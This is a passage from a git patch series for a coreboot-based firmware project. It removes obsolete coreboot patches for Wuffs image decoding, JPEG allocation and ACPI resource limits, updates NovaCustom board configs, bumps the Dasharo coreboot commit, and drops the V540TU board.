DecodeImage_UnsupportedPixelConfiguration[] = // - const char DecodeImage_UnsupportedPixelFormat[] = // - "wuffs_aux::DecodeImage: unsupported pixel format"; - --DecodeImageArgQuirks::DecodeImageArgQuirks(wuffs_base__slice_u32 repr0) -- : repr(repr0) {} -- --DecodeImageArgQuirks::DecodeImageArgQuirks(uint32_t* ptr0, size_t len0) -- : repr(wuffs_base__make_slice_u32(ptr0, len0)) {} -+DecodeImageArgQuirks::DecodeImageArgQuirks(const QuirkKeyValuePair* ptr0, -+ const size_t len0) -+ : ptr(ptr0), len(len0) {} - - DecodeImageArgQuirks // - DecodeImageArgQuirks::DefaultValue() { -- return DecodeImageArgQuirks(wuffs_base__empty_slice_u32()); -+ return DecodeImageArgQuirks(nullptr, 0); - } - - DecodeImageArgFlags::DecodeImageArgFlags(uint64_t repr0) : repr(repr0) {} -@@ -63259,7 +79826,8 @@ DecodeImage0(wuffs_base__image_decoder::unique_ptr& image_decoder, - DecodeImageCallbacks& callbacks, - sync_io::Input& input, - wuffs_base__io_buffer& io_buf, -- wuffs_base__slice_u32 quirks, -+ const QuirkKeyValuePair* quirks_ptr, -+ const size_t quirks_len, - uint64_t flags, - wuffs_base__pixel_blend pixel_blend, - wuffs_base__color_u32_argb_premul background_color, -@@ -63301,7 +79869,7 @@ redirect: - fourcc = 0; - break; - } -- std::string error_message = input.CopyIn(&io_buf, 0); -+ std::string error_message = input.CopyIn(&io_buf); - if (!error_message.empty()) { - return DecodeImageResult(std::move(error_message)); - } -@@ -63342,8 +79910,8 @@ redirect: - } - - // Apply quirks. -- for (size_t i = 0; i < quirks.len; i++) { -- image_decoder->set_quirk(quirks.ptr[i], 1); -+ for (size_t i = 0; i < quirks_len; i++) { -+ image_decoder->set_quirk(quirks_ptr[i].first, quirks_ptr[i].second); - } - - // Apply flags. -@@ -63397,8 +79965,7 @@ redirect: - } else if (io_buf.meta.closed) { - return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); - } else { -- std::string error_message = -- input.CopyIn(&io_buf, image_decoder->history_retain_length()); -+ std::string error_message = input.CopyIn(&io_buf); - if (!error_message.empty()) { - return DecodeImageResult(std::move(error_message)); - } -@@ -63480,8 +80047,7 @@ redirect: - } else if (io_buf.meta.closed) { - return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); - } else { -- std::string error_message = -- input.CopyIn(&io_buf, image_decoder->history_retain_length()); -+ std::string error_message = input.CopyIn(&io_buf); - if (!error_message.empty()) { - return DecodeImageResult(std::move(error_message)); - } -@@ -63510,8 +80076,7 @@ redirect: - message = DecodeImage_UnexpectedEndOfFile; - break; - } else { -- std::string error_message = -- input.CopyIn(&io_buf, image_decoder->history_retain_length()); -+ std::string error_message = input.CopyIn(&io_buf); - if (!error_message.empty()) { - message = std::move(error_message); - break; -@@ -63539,8 +80104,7 @@ redirect: - } else if (io_buf.meta.closed) { - return DecodeImageResult(DecodeImage_UnexpectedEndOfFile); - } else { -- std::string error_message = -- input.CopyIn(&io_buf, image_decoder->history_retain_length()); -+ std::string error_message = input.CopyIn(&io_buf); - if (!error_message.empty()) { - return DecodeImageResult(std::move(error_message)); - } -@@ -63574,10 +80138,10 @@ DecodeImage(DecodeImageCallbacks& callbacks, - } - - wuffs_base__image_decoder::unique_ptr image_decoder(nullptr); -- DecodeImageResult result = -- DecodeImage0(image_decoder, callbacks, input, *io_buf, quirks.repr, -- flags.repr, pixel_blend.repr, background_color.repr, -- max_incl_dimension.repr, max_incl_metadata_length.repr); -+ DecodeImageResult result = DecodeImage0( -+ image_decoder, callbacks, input, *io_buf, quirks.ptr, quirks.len, -+ flags.repr, pixel_blend.repr, background_color.repr, -+ max_incl_dimension.repr, max_incl_metadata_length.repr); - callbacks.Done(result, input, *io_buf, std::move(image_decoder)); - return result; - } -@@ -63612,15 +80176,13 @@ const char DecodeJson_BadJsonPointer[] = // - const char DecodeJson_NoMatch[] = // - "wuffs_aux::DecodeJson: no match"; - --DecodeJsonArgQuirks::DecodeJsonArgQuirks(wuffs_base__slice_u32 repr0) -- : repr(repr0) {} -- --DecodeJsonArgQuirks::DecodeJsonArgQuirks(uint32_t* ptr0, size_t len0) -- : repr(wuffs_base__make_slice_u32(ptr0, len0)) {} -+DecodeJsonArgQuirks::DecodeJsonArgQuirks(const QuirkKeyValuePair* ptr0, -+ const size_t len0) -+ : ptr(ptr0), len(len0) {} - - DecodeJsonArgQuirks // - DecodeJsonArgQuirks::DefaultValue() { -- return DecodeJsonArgQuirks(wuffs_base__empty_slice_u32()); -+ return DecodeJsonArgQuirks(nullptr, 0); - } - - DecodeJsonArgJsonPointer::DecodeJsonArgJsonPointer(std::string repr0) -@@ -63633,58 +80195,58 @@ DecodeJsonArgJsonPointer::DefaultValue() { - - // -------- - --#define WUFFS_AUX__DECODE_JSON__GET_THE_NEXT_TOKEN \ -- while (tok_buf.meta.ri >= tok_buf.meta.wi) { \ -- if (tok_status.repr == nullptr) { \ -- goto done; \ -- } else if (tok_status.repr == wuffs_base__suspension__short_write) { \ -- tok_buf.compact(); \ -- } else if (tok_status.repr == wuffs_base__suspension__short_read) { \ -- if (!io_error_message.empty()) { \ -- ret_error_message = std::move(io_error_message); \ -- goto done; \ -- } else if (cursor_index != io_buf->meta.ri) { \ -- ret_error_message = \ -- "wuffs_aux::DecodeJson: internal error: bad cursor_index"; \ -- goto done; \ -- } else if (io_buf->meta.closed) { \ -- ret_error_message = \ -- "wuffs_aux::DecodeJson: internal error: io_buf is closed"; \ -- goto done; \ -- } \ -- io_buf->compact_retaining(dec->history_retain_length()); \ -- if (io_buf->meta.wi >= io_buf->data.len) { \ -- ret_error_message = \ -- "wuffs_aux::DecodeJson: internal error: io_buf is full"; \ -- goto done; \ -- } \ -- cursor_index = io_buf->meta.ri; \ -- io_error_message = input.CopyIn(io_buf, dec->history_retain_length()); \ -- } else { \ -- ret_error_message = tok_status.message(); \ -- goto done; \ -- } \ -- tok_status = \ -- dec->decode_tokens(&tok_buf, io_buf, wuffs_base__empty_slice_u8()); \ -- if ((tok_buf.meta.ri > tok_buf.meta.wi) || \ -- (tok_buf.meta.wi > tok_buf.data.len) || \ -- (io_buf->meta.ri > io_buf->meta.wi) || \ -- (io_buf->meta.wi > io_buf->data.len)) { \ -- ret_error_message = \ -- "wuffs_aux::DecodeJson: internal error: bad buffer indexes"; \ -- goto done; \ -- } \ -- } \ -- wuffs_base__token token = tok_buf.data.ptr[tok_buf.meta.ri++]; \ -- uint64_t token_len = token.length(); \ -- if ((io_buf->meta.ri < cursor_index) || \ -- ((io_buf->meta.ri - cursor_index) < token_len)) { \ -- ret_error_message = \ -- "wuffs_aux::DecodeJson: internal error: bad token indexes"; \ -- goto done; \ -- } \ -- uint8_t* token_ptr = io_buf->data.ptr + cursor_index; \ -- (void)(token_ptr); \ -+#define WUFFS_AUX__DECODE_JSON__GET_THE_NEXT_TOKEN \ -+ while (tok_buf.meta.ri >= tok_buf.meta.wi) { \ -+ if (tok_status.repr == nullptr) { \ -+ goto done; \ -+ } else if (tok_status.repr == wuffs_base__suspension__short_write) { \ -+ tok_buf.compact(); \ -+ } else if (tok_status.repr == wuffs_base__suspension__short_read) { \ -+ if (!io_error_message.empty()) { \ -+ ret_error_message = std::move(io_error_message); \ -+ goto done; \ -+ } else if (cursor_index != io_buf->meta.ri) { \ -+ ret_error_message = \ -+ "wuffs_aux::DecodeJson: internal error: bad cursor_index"; \ -+ goto done; \ -+ } else if (io_buf->meta.closed) { \ -+ ret_error_message = \ -+ "wuffs_aux::DecodeJson: internal error: io_buf is closed"; \ -+ goto done; \ -+ } \ -+ io_buf->compact(); \ -+ if (io_buf->meta.wi >= io_buf->data.len) { \ -+ ret_error_message = \ -+ "wuffs_aux::DecodeJson: internal error: io_buf is full"; \ -+ goto done; \ -+ } \ -+ cursor_index = io_buf->meta.ri; \ -+ io_error_message = input.CopyIn(io_buf); \ -+ } else { \ -+ ret_error_message = tok_status.message(); \ -+ goto done; \ -+ } \ -+ tok_status = \ -+ dec->decode_tokens(&tok_buf, io_buf, wuffs_base__empty_slice_u8()); \ -+ if ((tok_buf.meta.ri > tok_buf.meta.wi) || \ -+ (tok_buf.meta.wi > tok_buf.data.len) || \ -+ (io_buf->meta.ri > io_buf->meta.wi) || \ -+ (io_buf->meta.wi > io_buf->data.len)) { \ -+ ret_error_message = \ -+ "wuffs_aux::DecodeJson: internal error: bad buffer indexes"; \ -+ goto done; \ -+ } \ -+ } \ -+ wuffs_base__token token = tok_buf.data.ptr[tok_buf.meta.ri++]; \ -+ uint64_t token_len = token.length(); \ -+ if ((io_buf->meta.ri < cursor_index) || \ -+ ((io_buf->meta.ri - cursor_index) < token_len)) { \ -+ ret_error_message = \ -+ "wuffs_aux::DecodeJson: internal error: bad token indexes"; \ -+ goto done; \ -+ } \ -+ uint8_t* token_ptr = io_buf->data.ptr + cursor_index; \ -+ (void)(token_ptr); \ - cursor_index += static_cast(token_len) - - // -------- -@@ -63965,11 +80527,11 @@ DecodeJson(DecodeJsonCallbacks& callbacks, - goto done; - } - bool allow_tilde_n_tilde_r_tilde_t = false; -- for (size_t i = 0; i < quirks.repr.len; i++) { -- dec->set_quirk(quirks.repr.ptr[i], 1); -- if (quirks.repr.ptr[i] == -+ for (size_t i = 0; i < quirks.len; i++) { -+ dec->set_quirk(quirks.ptr[i].first, quirks.ptr[i].second); -+ if (quirks.ptr[i].first == - WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T) { -- allow_tilde_n_tilde_r_tilde_t = true; -+ allow_tilde_n_tilde_r_tilde_t = (quirks.ptr[i].second != 0); - } - } - -@@ -64025,7 +80587,7 @@ DecodeJson(DecodeJsonCallbacks& callbacks, - goto done; - } - depth++; -- if (depth > WUFFS_JSON__DECODER_DEPTH_MAX_INCL) { -+ if (depth > (int32_t)WUFFS_JSON__DECODER_DEPTH_MAX_INCL) { - ret_error_message = - "wuffs_aux::DecodeJson: internal error: bad depth"; - goto done; --- -2.39.2 - diff --git a/patches/coreboot-dasharo-unreleased/0002-lib_jpeg-avoidcalling-malloc-and-free.patch b/patches/coreboot-dasharo-unreleased/0002-lib_jpeg-avoidcalling-malloc-and-free.patch deleted file mode 100644 index fa1310628..000000000 --- a/patches/coreboot-dasharo-unreleased/0002-lib_jpeg-avoidcalling-malloc-and-free.patch +++ /dev/null @@ -1,91 +0,0 @@ -From efad423f8472c1b9c130842e3d92625500f82d5d Mon Sep 17 00:00:00 2001 -From: Nigel Tao -Date: Tue, 13 Aug 2024 22:29:21 +1000 -Subject: [PATCH] lib/jpeg: avoid calling malloc and free - -Since commit 1d029b40c9de ("lib/jpeg: Replace decoder with Wuffs' -implementation"), a relatively large heap allocation is needed to decode -many JPEGs for use as work area. The prior decoder did not need this, -but also had many limitations in the JPEGs it could decode, was not as -memory-safe and quickly crashed under fuzzing. - -This commit keeps using Wuffs' JPEG decoder, but it no longer requires -any heap allocation (and thus configuring the heap size depending on how -big a bootsplash image you want to support). - -Change-Id: Ie4c52520cbce498539517c4898ff765365a6beba -Signed-off-by: Nigel Tao -Reviewed-on: https://review.coreboot.org/c/coreboot/+/83895 -Tested-by: build bot (Jenkins) -Reviewed-by: Nico Huber -Reviewed-by: Felix Singer -Reviewed-by: Jonathon Hall ---- - src/lib/jpeg.c | 36 +++++++++++++++++++++--------------- - 1 file changed, 21 insertions(+), 15 deletions(-) - -diff --git a/src/lib/jpeg.c b/src/lib/jpeg.c -index 242cf0ca8e..617ab0b22a 100644 ---- a/src/lib/jpeg.c -+++ b/src/lib/jpeg.c -@@ -1,9 +1,7 @@ - /* SPDX-License-Identifier: GPL-2.0-only */ - - /* -- * Provide a simple API around the Wuffs JPEG decoder -- * Uses the heap (and lots of it) for the image-size specific -- * work buffer, so ramstage-only. -+ * Provide a simple API around the Wuffs JPEG decoder. - */ - - #include -@@ -85,6 +83,24 @@ int jpeg_decode(unsigned char *filedata, size_t filesize, unsigned char *pic, - return JPEG_DECODE_FAILED; - } - -+ /* Opting in to lower quality means that we can pass an empty slice as the -+ * "work buffer" argument to wuffs_jpeg__decoder__decode_frame below. -+ * -+ * Decoding progressive (not sequential) JPEGs would still require dynamic -+ * memory allocation (and the amount of work buffer required depends on the -+ * image dimensions), but we choose to just reject progressive JPEGs. It is -+ * simpler than sometimes calling malloc (which can fail, especially for -+ * large allocations) and free. -+ * -+ * More commentary about these quirks is at -+ * https://github.com/google/wuffs/blob/beaf45650085a16780b5f708b72daaeb1aa865c8/std/jpeg/decode_quirks.wuffs -+ */ -+ wuffs_jpeg__decoder__set_quirk( -+ &dec, WUFFS_BASE__QUIRK_QUALITY, -+ WUFFS_BASE__QUIRK_QUALITY__VALUE__LOWER_QUALITY); -+ wuffs_jpeg__decoder__set_quirk( -+ &dec, WUFFS_JPEG__QUIRK_REJECT_PROGRESSIVE_JPEGS, 1); -+ - wuffs_base__image_config imgcfg; - wuffs_base__io_buffer src = wuffs_base__ptr_u8__reader(filedata, filesize, true); - status = wuffs_jpeg__decoder__decode_image_config(&dec, &imgcfg, &src); -@@ -104,19 +120,9 @@ int jpeg_decode(unsigned char *filedata, size_t filesize, unsigned char *pic, - return JPEG_DECODE_FAILED; - } - -- uint64_t workbuf_len_min_incl = wuffs_jpeg__decoder__workbuf_len(&dec).min_incl; -- uint8_t *workbuf_array = malloc(workbuf_len_min_incl); -- if ((workbuf_array == NULL) && workbuf_len_min_incl) { -- return JPEG_DECODE_FAILED; -- } -- -- wuffs_base__slice_u8 workbuf = -- wuffs_base__make_slice_u8(workbuf_array, workbuf_len_min_incl); - status = wuffs_jpeg__decoder__decode_frame(&dec, &pixbuf, &src, -- WUFFS_BASE__PIXEL_BLEND__SRC, workbuf, NULL); -- -- free(workbuf_array); -- -+ WUFFS_BASE__PIXEL_BLEND__SRC, -+ wuffs_base__empty_slice_u8(), NULL); - if (status.repr) { - return JPEG_DECODE_FAILED; - } --- -2.39.2 - diff --git a/patches/coreboot-dasharo-unreleased/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch b/patches/coreboot-dasharo-unreleased/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch deleted file mode 100644 index 4b48903fa..000000000 --- a/patches/coreboot-dasharo-unreleased/0003-CONFIG_RESOURCE_ALLOCATION_TOP_DOWN-CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT.patch +++ /dev/null @@ -1,130 +0,0 @@ -From a2180b33351e63187b6de834d3a3fd30ea8b500c Mon Sep 17 00:00:00 2001 -From: Arthur Heymans -Date: Thu, 25 Jan 2024 16:40:50 +0100 -Subject: [PATCH] nb/intel/*: Match ACPI with resource allocation - -Currently resource allocation starts top down from the default value -0xfe000000. This does not match what ACPI reports, so adapt -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT to reflect that. - -Signed-off-by: Arthur Heymans -Change-Id: I2ba0e96a7ab18d65b7fbbb38b1a979ea2ec6d1be -Reviewed-on: https://review.coreboot.org/c/coreboot/+/80207 -Tested-by: build bot (Jenkins) -Reviewed-by: Nico Huber ---- - src/northbridge/intel/gm45/Kconfig | 4 ++++ - src/northbridge/intel/haswell/Kconfig | 4 ++++ - src/northbridge/intel/i945/Kconfig | 4 ++++ - src/northbridge/intel/ironlake/Kconfig | 4 ++++ - src/northbridge/intel/pineview/Kconfig | 4 ++++ - src/northbridge/intel/sandybridge/Kconfig | 4 ++++ - src/northbridge/intel/x4x/Kconfig | 4 ++++ - 7 files changed, 28 insertions(+) - -diff --git a/src/northbridge/intel/gm45/Kconfig b/src/northbridge/intel/gm45/Kconfig -index 8059e7ee80..fef0d735b3 100644 ---- a/src/northbridge/intel/gm45/Kconfig -+++ b/src/northbridge/intel/gm45/Kconfig -@@ -31,6 +31,10 @@ config ECAM_MMCONF_BUS_NUMBER - int - default 64 - -+# This number must be equal or lower than what's reported in ACPI PCI _CRS -+config DOMAIN_RESOURCE_32BIT_LIMIT -+ default 0xfec00000 -+ - config SMM_RESERVED_SIZE - hex - default 0x100000 -diff --git a/src/northbridge/intel/haswell/Kconfig b/src/northbridge/intel/haswell/Kconfig -index 4b83a25bc1..35403373e7 100644 ---- a/src/northbridge/intel/haswell/Kconfig -+++ b/src/northbridge/intel/haswell/Kconfig -@@ -60,6 +60,10 @@ config ECAM_MMCONF_BUS_NUMBER - int - default 64 - -+# This number must be equal or lower than what's reported in ACPI PCI _CRS -+config DOMAIN_RESOURCE_32BIT_LIMIT -+ default ECAM_MMCONF_BASE_ADDRESS -+ - config DCACHE_RAM_BASE - hex - default 0xff7c0000 -diff --git a/src/northbridge/intel/i945/Kconfig b/src/northbridge/intel/i945/Kconfig -index ef925e17e7..32eff1a611 100644 ---- a/src/northbridge/intel/i945/Kconfig -+++ b/src/northbridge/intel/i945/Kconfig -@@ -41,6 +41,10 @@ config ECAM_MMCONF_BUS_NUMBER - int - default 64 - -+# This number must be equal or lower than what's reported in ACPI PCI _CRS -+config DOMAIN_RESOURCE_32BIT_LIMIT -+ default 0xfec00000 -+ - config OVERRIDE_CLOCK_DISABLE - bool - default n -diff --git a/src/northbridge/intel/ironlake/Kconfig b/src/northbridge/intel/ironlake/Kconfig -index ce705dcf53..2bafebf92e 100644 ---- a/src/northbridge/intel/ironlake/Kconfig -+++ b/src/northbridge/intel/ironlake/Kconfig -@@ -47,6 +47,10 @@ config ECAM_MMCONF_BASE_ADDRESS - config ECAM_MMCONF_BUS_NUMBER - default 256 - -+# This number must be equal or lower than what's reported in ACPI PCI _CRS -+config DOMAIN_RESOURCE_32BIT_LIMIT -+ default 0xfec00000 -+ - config INTEL_GMA_BCLV_OFFSET - default 0x48254 - -diff --git a/src/northbridge/intel/pineview/Kconfig b/src/northbridge/intel/pineview/Kconfig -index 877812643a..59cfcd5e0a 100644 ---- a/src/northbridge/intel/pineview/Kconfig -+++ b/src/northbridge/intel/pineview/Kconfig -@@ -38,4 +38,8 @@ config FIXED_DMIBAR_MMIO_BASE - config FIXED_EPBAR_MMIO_BASE - default 0xfed19000 - -+# This number must be equal or lower than what's reported in ACPI PCI _CRS -+config DOMAIN_RESOURCE_32BIT_LIMIT -+ default 0xfec00000 -+ - endif -diff --git a/src/northbridge/intel/sandybridge/Kconfig b/src/northbridge/intel/sandybridge/Kconfig -index f7d56c7503..fa40b0668d 100644 ---- a/src/northbridge/intel/sandybridge/Kconfig -+++ b/src/northbridge/intel/sandybridge/Kconfig -@@ -104,6 +104,10 @@ config ECAM_MMCONF_BUS_NUMBER - int - default 64 - -+# This number must be equal or lower than what's reported in ACPI PCI _CRS -+config DOMAIN_RESOURCE_32BIT_LIMIT -+ default ECAM_MMCONF_BASE_ADDRESS -+ - config DCACHE_RAM_BASE - hex - default 0xfefe0000 -diff --git a/src/northbridge/intel/x4x/Kconfig b/src/northbridge/intel/x4x/Kconfig -index 9af063819b..097e11126c 100644 ---- a/src/northbridge/intel/x4x/Kconfig -+++ b/src/northbridge/intel/x4x/Kconfig -@@ -28,6 +28,10 @@ config ECAM_MMCONF_BUS_NUMBER - int - default 256 - -+# This number must be equal or lower than what's reported in ACPI PCI _CRS -+config DOMAIN_RESOURCE_32BIT_LIMIT -+ default 0xfec00000 -+ - config SMM_RESERVED_SIZE - hex - default 0x100000 --- -2.39.2 - From 75f0fd12d7ebdd71069d332f2f62ce987e58cad7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 15 Jan 2025 12:42:18 +0100 Subject: [PATCH 465/619] config/coreboot-novacustom-v5.0tu: Set correct IOE PCR base addr MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit As per coreboot commit 8adaae026dc055fa8b445fbe32e5146576d56c28 Signed-off-by: Michał Kopeć --- config/coreboot-novacustom-v540tu.config | 2 +- config/coreboot-novacustom-v560tu.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index 7da904d9b..e7d9621df 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -308,7 +308,7 @@ CONFIG_SOC_INTEL_METEORLAKE_U_H=y CONFIG_SOC_INTEL_METEORLAKE_TCSS_USB4_SUPPORT=y CONFIG_METEORLAKE_CAR_ENHANCED_NEM=y CONFIG_CPU_MAX_TEMPERATURE=110 -CONFIG_IOE_PCR_BASE_ADDRESS=0x3fff0000000 +CONFIG_IOE_PCR_BASE_ADDRESS=0x60000000 CONFIG_SOC_INTEL_USB2_DEV_MAX=10 CONFIG_SOC_INTEL_USB3_DEV_MAX=2 CONFIG_SOC_INTEL_METEORLAKE_DEBUG_CONSENT=0 diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index 01d555a36..ccc35a770 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -308,7 +308,7 @@ CONFIG_SOC_INTEL_METEORLAKE_U_H=y CONFIG_SOC_INTEL_METEORLAKE_TCSS_USB4_SUPPORT=y CONFIG_METEORLAKE_CAR_ENHANCED_NEM=y CONFIG_CPU_MAX_TEMPERATURE=110 -CONFIG_IOE_PCR_BASE_ADDRESS=0x3fff0000000 +CONFIG_IOE_PCR_BASE_ADDRESS=0x60000000 CONFIG_SOC_INTEL_USB2_DEV_MAX=10 CONFIG_SOC_INTEL_USB3_DEV_MAX=2 CONFIG_SOC_INTEL_METEORLAKE_DEBUG_CONSENT=0 From a80d6da99ba15fa9d1462e084c9065b4ec3c8e9f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 15 Jan 2025 15:09:38 +0100 Subject: [PATCH 466/619] modules/coreboot: bump Dasharo fork for GOP single display fix MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 7236ba6f3..66b1a5212 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -94,7 +94,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and NovaCustom NV4xPZ, NS5xPU, V540TU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := 8adaae026dc055fa8b445fbe32e5146576d56c28 +coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased From de79d2a853f6913f19c5866ffe140f90574b4f2d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 15 Jan 2025 15:13:38 +0100 Subject: [PATCH 467/619] boards/novacustom-v540tu: remove board MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Support for V54 series is not added at this time. Signed-off-by: Michał Kopeć --- .circleci/config.yml | 8 - .../novacustom-v540tu.config | 81 -- .../novacustom-v560tu.config | 2 +- config/coreboot-novacustom-v540tu.config | 947 ------------------ modules/coreboot | 2 +- 5 files changed, 2 insertions(+), 1038 deletions(-) delete mode 100644 boards/novacustom-v540tu/novacustom-v540tu.config delete mode 100644 config/coreboot-novacustom-v540tu.config diff --git a/.circleci/config.yml b/.circleci/config.yml index 7fc499389..cec7a58b8 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -525,14 +525,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: novacustom-v540tu - target: novacustom-v540tu - subcommand: "" - requires: - - x230-hotp-maximized - - # coreboot 4.11 - build: name: UNMAINTAINED_kgpe-d16_workstation diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config deleted file mode 100644 index 3441e5e45..000000000 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ /dev/null @@ -1,81 +0,0 @@ -# NovaCustom V54 MTL (integrated graphics) board configuration -# Note the FLASH_OPTIONS: '--ifd -i bios -i me -i fd' -# This excludes gbe from internal flashing, otherwise mac address would revert to '88:88:88:88:87:88' see https://github.com/linuxboot/heads/pull/1871#discussion_r1870134788 -# Same options should be used when externally flashing the first time, otherwise Intel GBE region (Ethernet config blob) will be overwitten and MAC reverted to '88:88:88:88:87:88' - -# Meteor Lake (Intel Gen 14) is not supposed to support s3 but coincidently does. In case s3 is broken, user must configure settings to not suspend or otherwise enable ME/CSME for s01x to work (unsupported by QubesOS when writing those lines) or use Hibernate (Not supported by QubesOS either) - -export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=dasharo -export CONFIG_LINUX_VERSION=6.1.8 - -CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v540tu.config -CONFIG_LINUX_CONFIG=config/linux-novacustom-common.config - -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y -#Enable TPM2 pcap output under /tmp -#export CONFIG_TPM2_CAPTURE_PCAP=y - -#On-demand hardware support (modules.cpio) -CONFIG_LINUX_USB=y -CONFIG_LINUX_E1000=y -CONFIG_MOBILE_TETHERING=y - -#Modules packed into tools.cpio -CONFIG_CRYPTSETUP2=y -CONFIG_FLASHPROG=y -CONFIG_FLASHTOOLS=y -CONFIG_GPG2=y -CONFIG_KEXEC=y -CONFIG_UTIL_LINUX=y -CONFIG_LVM2=y -CONFIG_MBEDTLS=y -CONFIG_PCIUTILS=y - -#platform locking finalization (PR0) -CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING=y - - -#Remote attestation support -# TPM2 requirements -CONFIG_TPM2_TSS=y -CONFIG_OPENSSL=y -#Remote Attestation common tools -CONFIG_POPT=y -CONFIG_QRENCODE=y -CONFIG_TPMTOTP=y -#HOTP based remote attestation for supported USB Security dongle -#With/Without TPM support -CONFIG_HOTPKEY=y -#Nitrokey Storage admin tool (deprecated) -#CONFIG_NKSTORECLI=n -#GUI Support -#Console based Whiptail support(Console based, no FB): -#CONFIG_SLANG=y -#CONFIG_NEWT=y -#FBWhiptail based (Graphical): -CONFIG_CAIRO=y -CONFIG_FBWHIPTAIL=y -#Additional tools (tools.cpio): -#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) -CONFIG_DROPBEAR=y - -#Runtime configuration -#Automatically boot if HOTP is valid -export CONFIG_AUTO_BOOT_TIMEOUT=5 -#TPM2 requirements -export CONFIG_TPM2_TOOLS=y -export CONFIG_PRIMARY_KEY_TYPE=ecc -#TPM1 requirements -#export CONFIG_TPM=y -export CONFIG_BOOTSCRIPT=/bin/gui-init -export CONFIG_BOOT_REQ_HASH=n -export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_KERNEL_ADD="" -export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOARD_NAME="NovaCustom V540TU" -export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd -i bios -i me -i fd" -export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index 3f06062c4..5a216b39d 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -76,6 +76,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOARD_NAME="NovaCustom V540TU" +export CONFIG_BOARD_NAME="NovaCustom V560TU" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd -i bios -i me -i fd" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config deleted file mode 100644 index e7d9621df..000000000 --- a/config/coreboot-novacustom-v540tu.config +++ /dev/null @@ -1,947 +0,0 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="v0.9.0-rc2" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set 